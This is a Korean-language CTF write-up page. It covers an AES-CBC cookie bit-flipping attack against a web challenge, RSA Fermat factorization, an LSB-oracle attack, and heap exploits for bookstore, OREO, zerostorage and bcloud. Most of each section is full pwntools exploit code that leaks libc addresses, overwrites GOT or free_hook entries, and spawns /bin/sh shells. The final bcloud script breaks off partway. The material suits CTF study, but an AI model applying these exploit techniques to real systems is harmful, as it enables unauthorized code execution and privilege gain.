Write-up

[SEC-T CTF 2019] Trivial RSA

2019. 9. 22. 17:32

[2019 SSTF OpenCTF] BlackHackerService

와 이건 생각도 못했다... 아니 시도를 끈질기게 못했다;;

쿠키값으로 login된 정보를 관리하는데, 이 쿠키값을 변조되면 Not found라는 페이지로 원래는 넘어간다.






그런데 완전 메인 페이지로 돌아가면 TypeError가 뜨면서 500 Internal Server Error 가 나오면서 서버에 올라간 flask의 어떤 부분에서 오류가 났는지 볼 수 있따... 와....

이제 여기서 대부분의 정보를 얻을수 있는데, 하나하나 살펴보면 아래 부분들이 중요하다.

File "/run/task/main.py", line 106, in index
def index():
   admin=False
   error=""
   cook = request.headers.get("Cookie")
   if cook != None:
       c = check_cookie(cook)
       dbSession = init_db()
       user = dbSession.query(User).filter(User.username == c['username']).first()
       dbSession.close()
       if user is not None:
           if c['sessionId'] == user.sessionId:

File "/run/task/main.py", line 24, in check_cookie
def check_cookie(cookie):
   cookie = cookie.replace("testcookie=","")
   #cookie format
   #{ "username": "", "email": "", "isAdmin" : 1/0, "sessionId" : "" }
   #check /cookietest endpoint if you want to decode your cookie
   js = cipher.decrypt(cookie)
   js = remNonAscii(js)
   j = json.loads(js,object_pairs_hook=OrderedDict)
   return j

File "/run/task/AESCipher.py", line 18, in decrypt
       plaintext = self._pad(plaintext)
       cipher = AES.new(self.key,AES.MODE_CBC,self.iv)
       return base64.b64encode(cipher.encrypt(plaintext))

   def decrypt(self,ciphertext):
       ciphertext = base64.b64decode(ciphertext)
       cipher = AES.new(self.key,AES.MODE_CBC,self.iv)
       return self._unpad(cipher.decrypt(ciphertext))

   def _pad(self,s):
       l = len(s)

AES-CBC를 사용한다는 것을 알 수 있고, (물론 이건 login 계정을 여러번 만들면서 추측가능했다.)

쿠키 포맷까지 얻을 수 있다.

        #cookie format
  #{ "username": "", "email": "", "isAdmin" : 1/0, "sessionId" : "" }
  #check /cookietest endpoint if you want to decode your cookie

처음에는 저 부분이 주어지지않는다고 생각하여서, 여러 계정을 만들며 테스트해가며 BLOCKSIZE가 16이고, CBC모드라고 판단할 수 있엇다.

그래서 처음에는 username을 admin으로 만드는 문제인줄 알고 열심히 고생했었다...ㅠㅠ (그런데 사실 저 포맷을 믿을만한게 못되는게... 테스트해본 결과 첫번째블록에는 username의 두번째까지 들어간다.)

그래서 정상적인 포맷은 아래와 같이 되야한다.

{"username": "test", "email": "test@test.test123", "isAdmin": 0, "sessionId": "779ea873a8bc896e89f66f"}

그러므로 블럭단위로 나뉘어 encrypt되는 것은 아래와 같다.

{"username": "te
st", "email": "t
est@test.test123
", "isAdmin": 0,
"sessionId": "7
79ea873a8bc896e89f66f..."}

CBC모드에서는 decrypt 후 이전 Ciphertext와 XOR한 값이 Plaintext가 되므로, 이전 Ciphertext를 수정하여 다음 plaintext에 영향을 줄 수가 있다.


{"username": "br
e4k", "email": "
test@test.test12
3", "isAdmin": 0
"sessionId": "e
fddcaf9eba85ab66aa9ec5649a7b5b4"}

쿠키값에서 3번째 블럭인 email부분은 어짜피 쓸모가 없으니, 3번째 블록의 Ciphertext를 수정하여 다음 블럭의 평문에 영향을 줄 수 있다. 이렇게되면 3번째 블럭은 복호화가 제대로 되지않으나(복호화는 되지만 이상한값이 나온다.) 4번째 블럭의 값을 변경할 수 있다.

이게 BitFlip의 차례이다. 3번째블럭의 16번째 bytes를 flip시켜서 다음 블럭과 xor할때 "isAdmin": 1이 되게 만들어 주면 된다.

와 근데 이거도 운이 따른다 ㅡㅡ;;

정말 운이 안좋게도 "isAdmin": 1이 안나오는경우가 있다. 2~9까지는 나오는데;;

(그런 경우는 어쩔수없이 새로 계정을 파야한다 ㅁㄴㅇㄹ)

break → br3ak → bre4k 로 해서 bre4k에서 성공했다.

from base64 import b64decode, b64encode
import requests

def requestAdminSecret(cookie):
   cookies = {'Cookie': 'testcookie='+cookie}
   r = requests.get("http://blackhackerservice.sstf.site/hive/secret/",headers=cookies)
   result = r.content
   if "Not found" in result or "url(/static/ad.png)" in result:
       return (False, result)
   return (True, result)

"""
username : bre4k
email : test@test.test123
passwd : test

{"username": "br
e4k", "email": "
test@test.test12
3", "isAdmin": 0
"sessionId": "e
fddcaf9eba85ab66aa9ec5649a7b5b4"}
"""

cookie = "i4KQHe3skBiL2cNgZtz0m8bpdnbe2hFNK+71TIRV9wyKCNhOt+4R4ZQu+cwKkTQ7RK110r8P8csh3GWJAduUqGz5xqkBaG93HBeyoMBOUygPbsXo/q+8gifpRh/FhvOw+GK82TuvGfLU0XB8WjBZDJV5oCSHZUu9Iz7rzwP8LY0="
cookie = b64decode(cookie)

sta = cookie[:32]
mid = cookie[32:48]
end = cookie[48:]

for x in range(0, 256):
   middle = mid[:15] + chr(x)
   corrupt_cookie = b64encode(sta + middle + end)
   access, result = requestAdminSecret(corrupt_cookie)

   if access:
       print("new cookie("+str(x)+") : "+corrupt_cookie)



Roughlt Secure Algorithm

Category: Crypto

Points: 100

Author: matta

Description:

Crypto is hard? well...

Write-up

간단한 문제였는데, python에서 매우 큰 숫자를 출력시키면 overhead가 굉장히 커서 안된다는 사실을 몰라서 ... 못푼 문제;

그래도 python의 print를 조심해서 써야한다는 것을 배운 좋은 문제다ㅎ...

python 스크립트를 하나 주는데, 열어보면 RSA문제라는 것을 알 수 있다.

p = getPrime(1024)
q = gmpy2.next_prime(p)
e = 65537
N = p * q
phiN = (p - 1) * (q - 1)
d = gmpy2.powmod(e, -1, phiN)

p와 q가 독립적으로 선택되는 것이 아닌 p의 next prime으로 q를 사용하고 있다.

p/q의 값이 1에 근사하면 주어진 RSA 암호화 방식은 Fermat factorization 공격에 취약하기때문에 쉽게 공격할 수 있다.

문제파일을 실행시켜 p와 q를 보면 128bytes중 마지막 1~2바이트만 다르다... 확실히 p/q는 1에 가깝다..

messages = ["Do U know RSA?", "The format of flag is: SCTF{}", flag]

def encrypt(m):
msg = bytes_to_long(m)
ct = gmpy2.powmod(msg, e, N)
ct = long_to_bytes(ct)
return ct.encode("hex")

open("ciphertext.txt", "w").write(", ".join(map(encrypt, messages)))

문제를 보면 알려진 평문 2개와 암호문 3개가 주어진다.

문제가 신기한게 N값을 알려주지않아서 우리가 직접 구해야하는데, 이 N값을 구하는 것은 RSA 알고리즘을 알고 있다면 쉽게 할 수 있다.

암호화의 대상인 평문 세개를 m1, m2, m3라고 하면 암호문 c1, c2는 각각

c1 = m1e mod N, c2 = m2e mod N

m1e - c1 = 0 mod N

m2e - c2 = 0 mod N

이므로, m1e - c1. m2e - c2 N의 배수이다.

그래서 이 두 수의 공약수를 구하면 N의 배수가 된다. 공약수를 구하는 것은 아래와 같이 수행할 수 있다.

from Crypto.Util.number import *
import gmpy2

e = 65537
ct = [bytes_to_long(c.decode("hex")) for c in open("ciphertext.txt").read().split(", ")]
pt = map(bytes_to_long, ["Do U know RSA?", "The format of flag is: SCTF{}"])

k1N = pow(pt[0], e) - ct[0]
k2N = pow(pt[1], e) - ct[1]

N = gmpy2.gcd(k1N, k2N)

assert(gmpy2.powmod(pt[0], e, N) == ct[0])
assert(gmpy2.powmod(pt[1], e, N) == ct[1])
print hex(N)

N을 찾았으니 이제 p, q만 찾으면 문제를 해결할 수 있을 것 같다.

p와 q는 아주 큰 수라서, 하위 1~2 byte 정도 차이는 상대적으로 작은 부분이라고 볼 수 있다. 그러니 p ≈ q라고 쓰자.

N = pq ≈ p2이므로, sqrt(N) ≈ p이라고 쓸 수 있다.(sqrt()는 squre root 함수)

p와 q 중에 하나는 sqrt(N) 보다 크고 하나는 작을 것인데, 우리 입장에서는 p 또는 q 중에하나만 알면 되니 sqrt(N) 부터 시작해서 brute force를 시도하면 금방 N의 약수를 찾을 수 있을 것이다.

N의 약수 하나(편의상 p 라고 하자)를 찾으면 N으로 나누어 q를 계산할 수 있다. p와 q를 알게 되면 문제 코드 처음에 써있던 대로 비밀키 d를 구할 수 있고, flag를 복호화 할 수 있게 된다.


ver1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import *
import gmpy2 
 
def xgcd(b, n):
    x0, x1, y0, y1 = 1001
    while n != 0:
        q, b, n = b // n, n, b % n
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return b, x0, y0
    
def mul_inv(b, n):
    g, x, _ = xgcd(b, n)
    if g == 1:
        return x % n
    
def fermat_factor(n):
    assert n % 2 != 0
    
    a = gmpy2.isqrt(n)
    b2 = gmpy2.square(a) - n
    
    while not gmpy2.is_square(b2):
        a += 1
        b2 = gmpy2.square(a) - n
    p = a + gmpy2.isqrt(b2)
    q = a - gmpy2.isqrt(b2)
    
    return int(p), int(q)
 
 
= 65537
ct = [bytes_to_long(c.decode("hex")) for c in open("ciphertext.txt").read().split(", ")]
pt = map(bytes_to_long, ["Do U know RSA?""The format of flag is: SCTF{}"])
 
k1N = pow(pt[0], e) - ct[0]
k2N = pow(pt[1], e) - ct[1]
 
= gmpy2.gcd(k1N, k2N)
= ct[2]
 
p, q = fermat_factor(n)
phi = (p-1)*(q-1)
 
= mul_inv(e, phi)
plain = pow(c, d, n)
 
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))
 
print("flag : " + long_to_bytes(plain))
 
cs



ver2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import *
import gmpy2
 
= 65537
ct = [bytes_to_long(c.decode("hex")) for c in open("ciphertext.txt").read().split(", ")]
pt = map(bytes_to_long, ["Do U know RSA?""The format of flag is: SCTF{}"])
 
'''
pt[0] ^ e mod N = ct[0]
pt[1] ^ e mod N = ct[1]
pt[0] ^ e - ct[0] = k1 * N
pt[1] ^ e - ct[1] = k2 * N
'''
 
k1N = pow(pt[0], e) - ct[0]
k2N = pow(pt[1], e) - ct[1]
 
= gmpy2.gcd(k1N, k2N)
 
for i in range(2100):
    if N % i == 0 \
    and gmpy2.powmod(pt[0], e, N // i) == ct[0] \
    and gmpy2.powmod(pt[1], e, N // i) == ct[1]:
        print "reduced:", i
        N //= i
 
assert(gmpy2.powmod(pt[0], e, N) == ct[0])
assert(gmpy2.powmod(pt[1], e, N) == ct[1])
 
= gmpy2.isqrt(N)
 
while True:
    q, r = gmpy2.t_divmod(N, p)
    if (r == 0):
        break
    p += 1
 
phiN = (p - 1* (q - 1)
= gmpy2.powmod(e, -1, phiN)
 
flag = long_to_bytes(gmpy2.powmod(ct[2], d, N))
print flag
 
cs


SSTF OpenCTF에 나왔던 LSB Oracle 문제.

익스코드

ver1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import decimal
from pwn import *
from Crypto.Util.number import long_to_bytes
 
conn = remote("certainparts.sstf.site"12345)
 
= 125560377595624869696322630015882810288481844943661657098054331638111628210374072413173109448166779450170382439644694193024664710888205521543909902890609386144989825610230813823505041837614119263169879059174244133031673428386864683895197298571580602944596661705915969281038713739672744280271836542084404846309
= 65537
enc = 118647304114971068925032683768641917858857901141412816512618918698813600434373504387159513526475575029510748903851883089892473885809651616328335069672142793018627751022608056294812828777586302633454779414048616431461446403924692378415772959218687182740655957635595144364189435787610949804907648326594886012169

= N.bit_length()
decimal.getcontext().prec = k
lower = decimal.Decimal(0)
upper = decimal.Decimal(N)
 
 
p2 = pow(2, e, N)
lower = decimal.Decimal(0)
upper = decimal.Decimal(N)
= p2
 
for i in xrange(k):
    mid = (lower + upper) / 2
    conn.readuntil('Ciphertext: ')
    conn.sendline(hex(enc * p % N)[2:].strip("L"))
    conn.recvuntil("LSB: ")
    cur = int(conn.readline().strip())
    if cur == 0:
        upper = mid
    else:
        lower = mid
    p = p * p2 % N
    print(int(upper))
print long_to_bytes(int(upper))
conn.interactive()
cs


ver2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from Time import *
from Base import *
from Factorization import *
from Prime import *
 
SECRET = None
PUBLIC = None
COUNTER = 0
 
def GetInstance(l, flag=None):
    p1 = RandomPrime(l//2); p2 = RandomPrime(l//2)
    n = p1*p2
    q1 = p2*InverseMod(p2, p1)
    q2 = p1*InverseMod(p1, p2)
    m = (p1-1)*(p2-1)
    e = 0x10001
    d = InverseMod(e, m)
    l = l//8
    if flag == None:
        r = RandomInteger(0, n)
    else:
        r = (int.from_bytes(flag[:l].encode("utf-8"), "big"))%n
    y = pow(r, e, n)
    global SECRET, PUBLIC
    SECRET = [p1, p2, q1, q2, d, r]
    PUBLIC = [n, e, l, y]
    return
 
def LSBOracle(y):
    global SECRET, PUBLIC, COUNTER
    COUNTER += 1
    #x = pow(y, SECRET[2], PUBLIC[0])
    d1 = SECRET[4]%(SECRET[0]-1); d2 = SECRET[4]%(SECRET[1]-1)
    y1 = y%SECRET[0]; y2 = y%SECRET[1]
    x1 = pow(y1, d1, SECRET[0])
    x2 = pow(y2, d2, SECRET[1])
    x = (x1*SECRET[2+ x2*SECRET[3])%PUBLIC[0]
    return x%2
 
 
def ChosenCiphertext(n, e, y, r=None):
    if r == None:
        r = RandomInteger(0, n)
    else:
        r = r%n
    z = (pow(r, e, n)*y)%n
    return (r, z)
 
def DivideByTwo(a, y):
    #assert DecryptionOracle_LSB(u) == 0
    c = InverseMod(2, n)
    z = (y*pow(c, e, n))%n
    b = (a*c)%n if a%2 == 1 else a//2
    return (b, z)
 
def Attack(n, e, y):
    (a, u) = ChosenCiphertext(n, e, y)
    (b, v) = ChosenCiphertext(n, e, y)
    while u != 1 and v!= 1:
        if u == v or u == 0 or v == 0:
            print("Attack Failed!: the GCD is not equal to 1")
            return None
        lsb_u = LSBOracle(u)
        lsb_v = LSBOracle(v)
        while lsb_u*lsb_v == 0:
            if lsb_u == 0:
                (a, u) = DivideByTwo(a, u)
                lsb_u = LSBOracle(u)
            if lsb_v == 0:
                (b, v) = DivideByTwo(b, v)
                lsb_v = LSBOracle(v)
        (c, u) = ChosenCiphertext(n, e, y, a+b)
        if LSBOracle(u) != 0:
            print("Attack Failed: the sum is greater than modulus")
            return None
        (c, u) = DivideByTwo(c, u) 
        (d, v) = ChosenCiphertext(n, e, y, a-b)
        if LSBOracle(v) == 1:
            (d, v) = ChosenCiphertext(n, e, y, b-a)
        (d, v) = DivideByTwo(d, v)
        a = c; b = d
    return InverseMod(a, n) if u == 1 else InverseMod(b, n)
 
cs


'Write-up > Crypto' 카테고리의 다른 글

[2019 SSTF OpenCTF] BlackHackerService  (0) 2019.08.28
[2019 SSTF OpenCTF] Roughlt Secure Algorithm  (0) 2019.08.28
[RedpwnCTF] Binary (RSA LSB Oracle Attack)  (0) 2019.08.17
[PlaidCTF 2019] R u SAd?  (0) 2019.04.18
[VolgaCTF 2019] Blind  (0) 2019.04.03

010000100110100101101110011000010111001001111001

Binary

Written by: Tux


0100100100100000011001100110111101110101011011100110010000100000011101000110100001101001011100110010000001110111011001010110100101110010011001000010000001110011011001010111001001110110011010010110001101100101001011100010111000101110

I found this weird service...


nc chall2.2019.redpwn.net 5001


Hint: 010010010111001100100000011010010111010000100000011001010111011001100101011011100010000001101111011100100010000001101111011001000110010000111111

Is it even or odd?

  


아는 분이 RSA 문제 소개시켜주어서... 잠깐 풀어보았는데

롸업은 나중에 쓰고 일단 익스코드 나중에 쓰일거같아서 저장하려고 ㅎㅎ...

설명은 나중에 올려야지


RSA LSB Oracle Attack 기법을 사용해서 풀 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import decimal
from pwn import *
from Crypto.Util.number import long_to_bytes
 
conn = remote("chall2.2019.redpwn.net"5001)
 
def decode_binary(ut):
    msg = conn.recvuntil(ut)[:-1]
    msg = int(msg,2)
    msg = long_to_bytes(msg)
    result = conn.recvline()
    return msg, result
 
print(decode_binary("\n")[0])
print(decode_binary("\n")[0])
 
msg, result = decode_binary(":")
N, e = result.strip()[1:-1].split(",")
N=int(N,2)
e=int(e,2)
 
print(msg + " : " + str(N) + ", " + str(e))
 
conn.recvline()
 
msg, result = decode_binary(":")
enc = int(result,2)
print(msg + " : " + str(enc))
 
 
= N.bit_length()
decimal.getcontext().prec = k
lower = decimal.Decimal(0)
upper = decimal.Decimal(N)
 
 
p2 = pow(2, e, N)
lower = decimal.Decimal(0)
upper = decimal.Decimal(N)
= p2
 
for i in xrange(k):
    mid = (lower + upper) / 2
    conn.readuntil('> ')
    conn.sendline(bin(enc * p % N)[2:])
    cur = int(conn.readline().strip())
    if cur == 0:
        upper = mid
    else:
        lower = mid
    p = p * p2 % N
    print(int(upper))
print long_to_bytes(int(upper))
conn.interactive()
cs


[2015 Hack.lu] bookstore

2019. 8. 1. 01:03

overlapping_chunks 와 FSB와 stack에 값 채워넣기가 포함된 문제.

처음에 printf(heap_area)를 하길래, stack에서 fsb를 못할줄 알았다...


그런데 메뉴 선택지에서 128개를 받는것을 보고 스택에 fsb에 필요한 인자를 넣을 수 있다는 것을 늦게 알아서...

fsb를 stack에 이미 존재하는 값만으로만 수행하려는 생고생을 한 문제다...


1. overlapping_chunks 스킬을 이용하여 dest영역을 원하는 값으로 조절가능

2. menu 선택에서 fgets(choice, 128, stdin)으로 128개 입력가능 <<-- 스택에 원하는 값 넣기 가능

3. printf(dest)에서 FSB 가능



그런데 fsb를 할 수 있는 기회가 1번밖에 없다. 그래서 .fini_array를 덮어서 다시 main으로 뛰게 할 수 있다.


4. fsb로 stack_address와 libc_address를 leak

5. .fini_array를 main으로 덮는다.

6. 다시 main으로 돌아와 위의 과정을 수행.

7. fsb로 return address를 oneshot_gadget으로 덮는다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
 
conn = process("./books")
 
def order(id, data):
    conn.sendlineafter("5: Submit"str(id))
    conn.recvuntil("Enter first order:")
    conn.sendline(data)
 
def remove(id):
    conn.sendlineafter("5: Submit"str(id+2))
 
def submit(choice):
    conn.sendlineafter("5: Submit""5"+"\x00"*7+choice)
 
fini_array = 0x6011b8
free_got = 0x6013b8
 
# stage 1
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
payload  = "A"*8
payload += "%"+str(0xa39)+"c"
payload += "%13$hn"
payload += "%2$p "
payload += "%17$p"
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(fini_array))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
# leak
conn.recvuntil("0x")
leaks = conn.recvuntil("AAAAA")[:-5].strip().split(" ")
 
libc_base = int("0x"+leaks[0], 16- 0x3c6780
ret_addr = int(leaks[1], 16- 0x200
log.info("libc_base : " + hex(libc_base))
log.info("ret_addr : " + hex(ret_addr))
 
#stage 2
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
one_gadget = libc_base + 0x45216
log.info("one_gadget : " + hex(one_gadget))
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
head = (one_gadget >> 16& 0xFFFF
tail = one_gadget & 0xFFFF
 
payload  = "A"*8
payload += "%"+str(head)+"c"
payload += "%13$hn"
payload += "%"+str((0x10000+tail-head)%0x10000)+"c"
payload += "%14$hn"
 
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(ret_addr+2+ p64(ret_addr))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[hack.lu CTF 2014] OREO  (0) 2019.07.27
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[hack.lu CTF 2014] OREO

2019. 7. 27. 00:42

오레오라는 문제를 풀어보았다.


house of spirit 공부하면서 풀어본 문제.



1. add메뉴를 통해 라이플을 0x40개만큼 만든다.

2. leave메뉴를 통해, 위의 라이플 0x40의 카운트를 fake chunk1로 하여 fake chunk2를 구성해준다.

3. house of spirit를 트리거하여 bss영역에 있는 fake chunk1을 free한다.

4. free된 fake chunk를 할당하여 notice에 적힌 ptr을 sscanf_got로 변경한다.

5. show stat을 통해 ssanf_addr leak 가능

6. leave를 통해 sscanf_got overwrite 가능. system으로 덮어씌우고, /bin/sh를 쳐준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
from pwn import *
 
conn = process("./oreo")
conn.recvuntil("What would you like to do?")
 
def add(name, desc):
    conn.sendline("1")
    conn.sendline(name)
    conn.sendline(desc)
 
def show_r():
    conn.sendline("2")
    
def order():
    conn.sendline("3")
 
def leave(msg):
    conn.sendline("4")
    conn.sendline(msg)
    
def show_s():
    conn.sendline("5")
    
for i in range(00x40):
    add("asdf""asdf")
 
fake_chunk  = "A"*0x1c
fake_chunk += p32(0)
fake_chunk += p32(0)+p32(0x300)
leave(fake_chunk)
 
fake_addr = 0x804a2a8
 
add("A"*27+p32(fake_addr), "fake")
# all free, house of spirit
order()
 
 
# overwrite notice ptr
sscanf_got = 0x804A258
add("AA", p32(sscanf_got))
conn.recvuntil("Okay order submitted!\n")
 
#leak
show_s()
conn.recvuntil("Order Message: ")
sscanf_addr = u32(conn.recv(4))
log.info("sscanf_addr : " + hex(sscanf_addr))
 
base_addr = sscanf_addr-0x5c4c0
system_addr = base_addr + 0x3ada0
 
log.info("base_addr   : " + hex(sscanf_addr))
log.info("system_addr : " + hex(system_addr))
 
# overwrite sscanf_got -> system_addr
leave(p32(system_addr))
conn.sendline("/bin/sh")
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[0CTF 2016] zerostorage

2019. 7. 26. 02:25

이번에는 unsorted bin attack 공격

global_max_fast를 main_arena+88로 덮어서 모든 heap이 fastbin처럼 동작되게 만들었다.


취약점은 merge에서 일어나는데,, 이걸 한참을 못찾았다.

왠지 여기서 일어날것같았는데 ㅁㄴㅇㄹ

merge할때, from id와 to id가 같은 값이 들어와도 이를 검사하지않아, UAF 취약점이 발생한다.

이를 통해서 free된 청크에 값을 쓸 수 있고, 이 free된 청크가 unsorted bin이기 때문에 global_max_fast를 덮을 수 있는 것.


그런데 이렇게해놓고 unsorted bin이 망가져서 다른 청크를 할당할 수 없엇는데...

이전에 마지막으로 할당한 top chunk에 가까운 영역을 merge(same_hunk_id, same_chunk_id)해서 unsortedbin 안거치고 크기를 늘리거나 할당하여 free를 할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
from pwn import *
 
conn = process("./zerostorage")
 
def insert(size, data):
    conn.sendlineafter("Your choice: "str("1"))
    conn.sendlineafter("Length of new entry: "str(size))
    conn.sendafter("data: ", data)
 
def update(id, size, data):
    conn.sendlineafter("Your choice: "str("2"))
    conn.sendlineafter("ID: "str(id))
    conn.sendlineafter("entry: "str(size))
    conn.sendafter("data: ", data)
 
def merge(fid, tid):
    conn.sendlineafter("Your choice: "str("3"))
    conn.sendlineafter("ID: "str(fid))
    conn.sendlineafter("ID: "str(tid))
 
def remove(id):
    conn.sendlineafter("Your choice: "str("4"))
    conn.sendlineafter("ID: "str(id))
 
def view(id):
    conn.sendlineafter("Your choice: "str("5"))
    conn.sendlineafter("ID: "str(id))
    
def list():
    conn.sendlineafter("Your choice: "str("6"))
 
insert(0x10"A"*0x10)
insert(0xf8"B"*0xf8)
 
# trigger bug
merge(00)     # 2
 
# leak main_arena
view(2)
conn.recvuntil(":\n")
main_arena = u64(conn.recv(6).ljust(8"\x00"))
libc_base = main_arena - 0x3c4b78
system_addr = libc_base + 0x45390
 
log.info("libc_base  : " + hex(libc_base))
log.info("libc_base  : " + hex(libc_base))
log.info("main_arena : " + hex(main_arena))
 
global_max_fast = libc_base + 0x3c67f8
log.info("global_max_fast : " + hex(global_max_fast))
 
free_hook = libc_base + 0x3c67a8
log.info("free_hook : " + hex(free_hook))
 
target = free_hook - 0x59
 
# unsorted bin attack
payload  = "A"*8
payload += p64(global_max_fast-0x10)
payload += "A"*16
 
log.info("len : "+hex(len(payload)))
 
# overwrite global_max_fast
update(20x20, payload)
insert(0x10"/bin/sh\x00"+"A"*8)   # 0
 
# double free
merge(11#3
 
target = free_hook - 0x59
 
payload = p64(target)
payload += "A"*(0xf8*2 - 8)
update(30xf8*2, payload) 
 
insert(0x1f0"A"*0x1f0)
 
 
# overwrite free_hook to system
payload  = "\x00"*0x49
payload += p64(system_addr)
payload += "\x00"*(0x1f0-0x49-8)
 
insert(0x1f0, payload)
remove(0)
 
 
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[hack.lu CTF 2014] OREO  (0) 2019.07.27
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[BCTF 2016] bcloud

2019. 7. 26. 02:18

tistory 블로그에 writeup쓰는 것이 너무 귀찮아지고 잇다...

언젠가 github 블로그로 옮겨야지 ㅁㄴㅇㄹ


bcloud를 풀어보았다. 최근 마크다운으로 롸업을 쓰다보니 티스토리를 못써먹겟지만... 깃헙 블로그 만드는게 귀찮으니 그냥 써야겟다....

익스는 아래와 같이 진행하였다.


취약점 : House of force


1. name입력에서 0x40만큼 꽉 채워입력하여 heap_addr를 leak

2. house of force를 이용하여 free_got영역에서부터 다음영역을 할당받을 수 있게 한다.

3. exit_got를 main으로 바꾸고, 나머지 got영역은 원래 함수의 plt+6지점으로 덮는다.

4. setvbuf함수도 puts_plt+6으로 덮는다.

5. 일부러 exit


6. main함수로 돌아와 puts(stdin), puts(stdout), puts(stderr)가 출력되어 leak이 가능하다.

7. leak한 값을 토대로 system함수 주소를 구한다.

8. atoi함수를 system함수로 덮어서 쉘을 획득.



다해놓고보니 그냥 사실 bss영역에 할당되는 heap 노트영역? 노트엿나 뭐였나 어쨋든 그부분을 덮어서 edit해도 되는 것이였다...

나는 edit이 없는줄 알았는데 있더라;;

아무튼 이렇게도 풀수있더라~



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
 
conn = process("./bcloud")
 
conn.sendafter("name:""A"*0x40)
conn.recvuntil("A"*0x40)
 
heap_addr = u32(conn.recv(4))
 
log.info("heap : " + hex(heap_addr))
 
conn.sendafter("Org:""B"*0x40)
conn.sendlineafter("Host:", p64(0xFFFFFFFF))
 
def new(size, content):
    conn.sendlineafter("option--->>""1")
    conn.sendlineafter(":"str(size))
    conn.sendlineafter("content:", content)
    
def edit(idx, content):
    conn.sendlineafter("option--->>""3")
    conn.sendlineafter("id:"str(idx))
    conn.sendlineafter("content:", content)
 
def rm(idx):
    conn.sendlineafter("option--->>""4")
    conn.sendlineafter("id:"str(idx))
 
read_got = 0x804b00c
 
top = heap_addr + 0xd0
force =  read_got - top - 0x8
log.info("force : " + str(force))
 
# force
conn.sendlineafter("option--->>""1")
conn.sendlineafter(":"str(force))
 
main_addr = 0x8048C81
puts_plt = 0x8048520
 
payload  = "A"*4            # __stack_chk_fail
payload += p32(0x8048506)   # strcpy -> strcpy_plt+6
payload += p32(0x8048516)   # malloc -> malloc_plt+6
payload += p32(puts_plt+6)  # puts
payload += "A"*4            
 
payload += p32(main_addr)   # exit
payload += "A"*4
 
payload += p32(puts_plt)    # set
payload += p32(0x8048576)   # memset_plt+6
payload += p32(0x8048586)   # atoi_plt+6
 
 
new(0x200, payload)
 
#context.log_level = "debug"
conn.sendlineafter("option--->>""6")
